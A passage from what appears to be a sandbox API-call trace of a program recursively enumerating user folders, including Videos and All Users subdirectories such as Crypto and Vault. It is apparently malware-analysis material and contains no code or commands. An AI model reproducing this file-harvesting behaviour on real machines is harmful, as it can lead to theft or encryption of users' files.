out: lpString1="c:\\Users\\aETAdzjz\\Videos\\Fd 0EikYigmitDBhxtW.flv") returned="c:\\Users\\aETAdzjz\\Videos\\Fd 0EikYigmitDBhxtW.flv" [0121.659] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\Fd 0EikYigmitDBhxtW.flv") returned 48 [0121.659] lstrcpyW (in: lpString1=0x24ae8c0, lpString2="c:\\Users\\aETAdzjz\\Videos\\Fd 0EikYigmitDBhxtW.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\Fd 0EikYigmitDBhxtW.flv") returned="c:\\Users\\aETAdzjz\\Videos\\Fd 0EikYigmitDBhxtW.flv" [0121.659] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.659] lstrcmpW (lpString1="p-Dos46ITrNAxv", lpString2=".") returned 1 [0121.659] lstrcmpW (lpString1="p-Dos46ITrNAxv", lpString2="..") returned 1 [0121.659] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\") returned 25 [0121.659] lstrlenW (lpString="p-Dos46ITrNAxv") returned 14 [0121.659] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="p-Dos46ITrNAxv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\p-Dos46ITrNAxv") returned="c:\\Users\\aETAdzjz\\Videos\\p-Dos46ITrNAxv" [0121.659] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.659] lstrcmpW (lpString1="sS5TodkeCRCIzVrpI.flv", lpString2=".") returned 1 [0121.659] lstrcmpW (lpString1="sS5TodkeCRCIzVrpI.flv", lpString2="..") returned 1 [0121.659] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\") returned 25 [0121.659] lstrlenW (lpString="sS5TodkeCRCIzVrpI.flv") returned 21 [0121.659] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="sS5TodkeCRCIzVrpI.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\sS5TodkeCRCIzVrpI.flv") returned="c:\\Users\\aETAdzjz\\Videos\\sS5TodkeCRCIzVrpI.flv" [0121.660] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\sS5TodkeCRCIzVrpI.flv") returned 46 [0121.660] lstrcpyW (in: lpString1=0x24ad7c8, lpString2="c:\\Users\\aETAdzjz\\Videos\\sS5TodkeCRCIzVrpI.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\sS5TodkeCRCIzVrpI.flv") returned="c:\\Users\\aETAdzjz\\Videos\\sS5TodkeCRCIzVrpI.flv" [0121.660] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.660] lstrcmpW (lpString1="tuKxy_htJ_46yx.mkv", lpString2=".") returned 1 [0121.660] lstrcmpW (lpString1="tuKxy_htJ_46yx.mkv", lpString2="..") returned 1 [0121.660] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\") returned 25 [0121.660] lstrlenW (lpString="tuKxy_htJ_46yx.mkv") returned 18 [0121.660] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="tuKxy_htJ_46yx.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\tuKxy_htJ_46yx.mkv") returned="c:\\Users\\aETAdzjz\\Videos\\tuKxy_htJ_46yx.mkv" [0121.660] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\tuKxy_htJ_46yx.mkv") returned 43 [0121.660] lstrcpyW (in: lpString1=0x24ac9f0, lpString2="c:\\Users\\aETAdzjz\\Videos\\tuKxy_htJ_46yx.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\tuKxy_htJ_46yx.mkv") returned="c:\\Users\\aETAdzjz\\Videos\\tuKxy_htJ_46yx.mkv" [0121.660] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.660] lstrcmpW (lpString1="Y8Zipz.mkv", lpString2=".") returned 1 [0121.660] lstrcmpW (lpString1="Y8Zipz.mkv", lpString2="..") returned 1 [0121.660] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\") returned 25 [0121.660] lstrlenW (lpString="Y8Zipz.mkv") returned 10 [0121.660] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Videos\\", lpString2="Y8Zipz.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\Y8Zipz.mkv") returned="c:\\Users\\aETAdzjz\\Videos\\Y8Zipz.mkv" [0121.660] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Videos\\Y8Zipz.mkv") returned 35 [0121.660] lstrcpyW (in: lpString1=0x24afbb8, lpString2="c:\\Users\\aETAdzjz\\Videos\\Y8Zipz.mkv" | out: lpString1="c:\\Users\\aETAdzjz\\Videos\\Y8Zipz.mkv") returned="c:\\Users\\aETAdzjz\\Videos\\Y8Zipz.mkv" [0121.660] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.660] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.660] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0121.660] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0121.660] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.660] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0121.660] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0121.660] lstrlenW (lpString="c:\\Users\\") returned 9 [0121.660] lstrlenW (lpString="All Users") returned 9 [0121.660] lstrcatW (in: lpString1="c:\\Users\\", lpString2="All Users" | out: lpString1="c:\\Users\\All Users") returned="c:\\Users\\All Users" [0121.660] lstrcatW (in: lpString1="c:\\Users\\All Users", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\") returned="c:\\Users\\All Users\\" [0121.660] lstrlenW (lpString="c:\\Users\\All Users\\") returned 19 [0121.660] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\*") returned="c:\\Users\\All Users\\*" [0121.660] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0121.660] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.660] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.660] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.660] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.660] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.660] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0121.660] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0121.660] lstrlenW (lpString="c:\\Users\\All Users\\") returned 19 [0121.660] lstrlenW (lpString="Adobe") returned 5 [0121.660] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Adobe" | out: lpString1="c:\\Users\\All Users\\Adobe") returned="c:\\Users\\All Users\\Adobe" [0121.660] lstrcatW (in: lpString1="c:\\Users\\All Users\\Adobe", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Adobe\\") returned="c:\\Users\\All Users\\Adobe\\" [0121.660] lstrlenW (lpString="c:\\Users\\All Users\\Adobe\\") returned 25 [0121.661] lstrcatW (in: lpString1="c:\\Users\\All Users\\Adobe\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Adobe\\*") returned="c:\\Users\\All Users\\Adobe\\*" [0121.661] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Adobe\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.661] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.661] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.661] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.661] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.661] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.661] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0121.661] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0121.661] lstrlenW (lpString="c:\\Users\\All Users\\Adobe\\") returned 25 [0121.661] lstrlenW (lpString="Acrobat") returned 7 [0121.661] lstrcatW (in: lpString1="c:\\Users\\All Users\\Adobe\\", lpString2="Acrobat" | out: lpString1="c:\\Users\\All Users\\Adobe\\Acrobat") returned="c:\\Users\\All Users\\Adobe\\Acrobat" [0121.661] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.661] lstrcmpW (lpString1="ARM", lpString2=".") returned 1 [0121.661] lstrcmpW (lpString1="ARM", lpString2="..") returned 1 [0121.661] lstrlenW (lpString="c:\\Users\\All Users\\Adobe\\") returned 25 [0121.661] lstrlenW (lpString="ARM") returned 3 [0121.661] lstrcatW (in: lpString1="c:\\Users\\All Users\\Adobe\\", lpString2="ARM" | out: lpString1="c:\\Users\\All Users\\Adobe\\ARM") returned="c:\\Users\\All Users\\Adobe\\ARM" [0121.661] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.661] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.661] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.661] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0121.661] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0121.661] lstrlenW (lpString="c:\\Users\\All Users\\") returned 19 [0121.661] lstrlenW (lpString="Application Data") returned 16 [0121.661] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Application Data" | out: lpString1="c:\\Users\\All Users\\Application Data") returned="c:\\Users\\All Users\\Application Data" [0121.661] lstrcatW (in: lpString1="c:\\Users\\All Users\\Application Data", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Application Data\\") returned="c:\\Users\\All Users\\Application Data\\" [0121.661] lstrlenW (lpString="c:\\Users\\All Users\\Application Data\\") returned 36 [0121.661] lstrcatW (in: lpString1="c:\\Users\\All Users\\Application Data\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Application Data\\*") returned="c:\\Users\\All Users\\Application Data\\*" [0121.661] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Application Data\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.661] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.661] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0121.661] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0121.661] lstrlenW (lpString="c:\\Users\\All Users\\") returned 19 [0121.661] lstrlenW (lpString="Desktop") returned 7 [0121.661] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Desktop" | out: lpString1="c:\\Users\\All Users\\Desktop") returned="c:\\Users\\All Users\\Desktop" [0121.661] lstrcatW (in: lpString1="c:\\Users\\All Users\\Desktop", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Desktop\\") returned="c:\\Users\\All Users\\Desktop\\" [0121.661] lstrlenW (lpString="c:\\Users\\All Users\\Desktop\\") returned 27 [0121.661] lstrcatW (in: lpString1="c:\\Users\\All Users\\Desktop\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Desktop\\*") returned="c:\\Users\\All Users\\Desktop\\*" [0121.662] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Desktop\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.662] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.662] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0121.662] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0121.662] lstrlenW (lpString="c:\\Users\\All Users\\") returned 19 [0121.662] lstrlenW (lpString="Documents") returned 9 [0121.662] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Documents" | out: lpString1="c:\\Users\\All Users\\Documents") returned="c:\\Users\\All Users\\Documents" [0121.662] lstrcatW (in: lpString1="c:\\Users\\All Users\\Documents", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Documents\\") returned="c:\\Users\\All Users\\Documents\\" [0121.662] lstrlenW (lpString="c:\\Users\\All Users\\Documents\\") returned 29 [0121.662] lstrcatW (in: lpString1="c:\\Users\\All Users\\Documents\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Documents\\*") returned="c:\\Users\\All Users\\Documents\\*" [0121.662] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Documents\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.662] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.662] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0121.662] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0121.662] lstrlenW (lpString="c:\\Users\\All Users\\") returned 19 [0121.662] lstrlenW (lpString="Favorites") returned 9 [0121.662] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Favorites" | out: lpString1="c:\\Users\\All Users\\Favorites") returned="c:\\Users\\All Users\\Favorites" [0121.662] lstrcatW (in: lpString1="c:\\Users\\All Users\\Favorites", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Favorites\\") returned="c:\\Users\\All Users\\Favorites\\" [0121.662] lstrlenW (lpString="c:\\Users\\All Users\\Favorites\\") returned 29 [0121.662] lstrcatW (in: lpString1="c:\\Users\\All Users\\Favorites\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Favorites\\*") returned="c:\\Users\\All Users\\Favorites\\*" [0121.662] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Favorites\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.662] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.662] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0121.662] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0121.662] lstrlenW (lpString="c:\\Users\\All Users\\") returned 19 [0121.662] lstrlenW (lpString="Microsoft") returned 9 [0121.662] lstrcatW (in: lpString1="c:\\Users\\All Users\\", lpString2="Microsoft" | out: lpString1="c:\\Users\\All Users\\Microsoft") returned="c:\\Users\\All Users\\Microsoft" [0121.662] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft", lpString2="\\" | out: lpString1="c:\\Users\\All Users\\Microsoft\\") returned="c:\\Users\\All Users\\Microsoft\\" [0121.662] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.662] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="*" | out: lpString1="c:\\Users\\All Users\\Microsoft\\*") returned="c:\\Users\\All Users\\Microsoft\\*" [0121.662] FindFirstFileW (in: lpFileName="c:\\Users\\All Users\\Microsoft\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.662] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.662] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.662] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.662] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.662] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.662] lstrcmpW (lpString1="Assistance", lpString2=".") returned 1 [0121.662] lstrcmpW (lpString1="Assistance", lpString2="..") returned 1 [0121.662] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.662] lstrlenW (lpString="Assistance") returned 10 [0121.663] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Assistance" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Assistance") returned="c:\\Users\\All Users\\Microsoft\\Assistance" [0121.663] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.663] lstrcmpW (lpString1="ClickToRun", lpString2=".") returned 1 [0121.663] lstrcmpW (lpString1="ClickToRun", lpString2="..") returned 1 [0121.663] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.663] lstrlenW (lpString="ClickToRun") returned 10 [0121.663] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="ClickToRun" | out: lpString1="c:\\Users\\All Users\\Microsoft\\ClickToRun") returned="c:\\Users\\All Users\\Microsoft\\ClickToRun" [0121.663] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.663] lstrcmpW (lpString1="Crypto", lpString2=".") returned 1 [0121.663] lstrcmpW (lpString1="Crypto", lpString2="..") returned 1 [0121.663] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.663] lstrlenW (lpString="Crypto") returned 6 [0121.663] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Crypto" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Crypto") returned="c:\\Users\\All Users\\Microsoft\\Crypto" [0121.663] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.663] lstrcmpW (lpString1="Device Stage", lpString2=".") returned 1 [0121.663] lstrcmpW (lpString1="Device Stage", lpString2="..") returned 1 [0121.663] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.663] lstrlenW (lpString="Device Stage") returned 12 [0121.663] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Device Stage" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Device Stage") returned="c:\\Users\\All Users\\Microsoft\\Device Stage" [0121.663] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.663] lstrcmpW (lpString1="DeviceSync", lpString2=".") returned 1 [0121.663] lstrcmpW (lpString1="DeviceSync", lpString2="..") returned 1 [0121.663] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.663] lstrlenW (lpString="DeviceSync") returned 10 [0121.663] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="DeviceSync" | out: lpString1="c:\\Users\\All Users\\Microsoft\\DeviceSync") returned="c:\\Users\\All Users\\Microsoft\\DeviceSync" [0121.663] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.663] lstrcmpW (lpString1="DRM", lpString2=".") returned 1 [0121.663] lstrcmpW (lpString1="DRM", lpString2="..") returned 1 [0121.663] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.663] lstrlenW (lpString="DRM") returned 3 [0121.663] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="DRM" | out: lpString1="c:\\Users\\All Users\\Microsoft\\DRM") returned="c:\\Users\\All Users\\Microsoft\\DRM" [0121.663] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.663] lstrcmpW (lpString1="eHome", lpString2=".") returned 1 [0121.663] lstrcmpW (lpString1="eHome", lpString2="..") returned 1 [0121.663] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.663] lstrlenW (lpString="eHome") returned 5 [0121.663] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="eHome" | out: lpString1="c:\\Users\\All Users\\Microsoft\\eHome") returned="c:\\Users\\All Users\\Microsoft\\eHome" [0121.663] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.663] lstrcmpW (lpString1="Event Viewer", lpString2=".") returned 1 [0121.663] lstrcmpW (lpString1="Event Viewer", lpString2="..") returned 1 [0121.663] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.663] lstrlenW (lpString="Event Viewer") returned 12 [0121.663] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Event Viewer" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Event Viewer") returned="c:\\Users\\All Users\\Microsoft\\Event Viewer" [0121.663] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.663] lstrcmpW (lpString1="IdentityCRL", lpString2=".") returned 1 [0121.663] lstrcmpW (lpString1="IdentityCRL", lpString2="..") returned 1 [0121.663] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.663] lstrlenW (lpString="IdentityCRL") returned 11 [0121.663] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="IdentityCRL" | out: lpString1="c:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="c:\\Users\\All Users\\Microsoft\\IdentityCRL" [0121.663] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.663] lstrcmpW (lpString1="Media Player", lpString2=".") returned 1 [0121.663] lstrcmpW (lpString1="Media Player", lpString2="..") returned 1 [0121.663] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.663] lstrlenW (lpString="Media Player") returned 12 [0121.663] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Media Player" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Media Player") returned="c:\\Users\\All Users\\Microsoft\\Media Player" [0121.664] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.664] lstrcmpW (lpString1="MF", lpString2=".") returned 1 [0121.664] lstrcmpW (lpString1="MF", lpString2="..") returned 1 [0121.664] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.664] lstrlenW (lpString="MF") returned 2 [0121.664] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="MF" | out: lpString1="c:\\Users\\All Users\\Microsoft\\MF") returned="c:\\Users\\All Users\\Microsoft\\MF" [0121.664] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.664] lstrcmpW (lpString1="NetFramework", lpString2=".") returned 1 [0121.664] lstrcmpW (lpString1="NetFramework", lpString2="..") returned 1 [0121.664] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.664] lstrlenW (lpString="NetFramework") returned 12 [0121.664] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="NetFramework" | out: lpString1="c:\\Users\\All Users\\Microsoft\\NetFramework") returned="c:\\Users\\All Users\\Microsoft\\NetFramework" [0121.664] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.664] lstrcmpW (lpString1="Network", lpString2=".") returned 1 [0121.664] lstrcmpW (lpString1="Network", lpString2="..") returned 1 [0121.664] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.664] lstrlenW (lpString="Network") returned 7 [0121.664] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Network" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Network") returned="c:\\Users\\All Users\\Microsoft\\Network" [0121.664] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.664] lstrcmpW (lpString1="Office", lpString2=".") returned 1 [0121.664] lstrcmpW (lpString1="Office", lpString2="..") returned 1 [0121.664] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.664] lstrlenW (lpString="Office") returned 6 [0121.664] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Office" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Office") returned="c:\\Users\\All Users\\Microsoft\\Office" [0121.664] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.664] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2=".") returned 1 [0121.664] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="..") returned 1 [0121.664] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.664] lstrlenW (lpString="OfficeSoftwareProtectionPlatform") returned 32 [0121.664] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="c:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="c:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" [0121.664] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.664] lstrcmpW (lpString1="RAC", lpString2=".") returned 1 [0121.664] lstrcmpW (lpString1="RAC", lpString2="..") returned 1 [0121.664] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.664] lstrlenW (lpString="RAC") returned 3 [0121.664] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="RAC" | out: lpString1="c:\\Users\\All Users\\Microsoft\\RAC") returned="c:\\Users\\All Users\\Microsoft\\RAC" [0121.664] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.664] lstrcmpW (lpString1="Search", lpString2=".") returned 1 [0121.664] lstrcmpW (lpString1="Search", lpString2="..") returned 1 [0121.664] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.664] lstrlenW (lpString="Search") returned 6 [0121.664] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Search" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Search") returned="c:\\Users\\All Users\\Microsoft\\Search" [0121.664] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.664] lstrcmpW (lpString1="User Account Pictures", lpString2=".") returned 1 [0121.664] lstrcmpW (lpString1="User Account Pictures", lpString2="..") returned 1 [0121.664] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.664] lstrlenW (lpString="User Account Pictures") returned 21 [0121.664] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="User Account Pictures" | out: lpString1="c:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="c:\\Users\\All Users\\Microsoft\\User Account Pictures" [0121.664] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.664] lstrcmpW (lpString1="Vault", lpString2=".") returned 1 [0121.664] lstrcmpW (lpString1="Vault", lpString2="..") returned 1 [0121.664] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.664] lstrlenW (lpString="Vault") returned 5 [0121.664] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Vault" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Vault") returned="c:\\Users\\All Users\\Microsoft\\Vault" [0121.664] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.664] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0121.665] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0121.665] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.665] lstrlenW (lpString="Windows") returned 7 [0121.665] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Windows" | out: lpString1="c:\\Users\\All Users\\Microsoft\\Windows") returned="c:\\Users\\All Users\\Microsoft\\Windows" [0121.665] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.665] lstrcmpW (lpString1="Windows Defender", lpString2=".") returned 1 [0121.665] lstrcmpW (lpString1="Windows Defender", lpString2="..") returned 1 [0121.665] lstrlenW (lpString="c:\\Users\\All Users\\Microsoft\\") returned 29 [0121.665] lstrlenW (lpString="Windows Defender") returned 16 [0121.665] lstrcatW (in: lpString1="c:\\Users\\All Users\\Microsoft\\", lpString2="Windows Defender" | out: lpString1="c:\\Users\\All 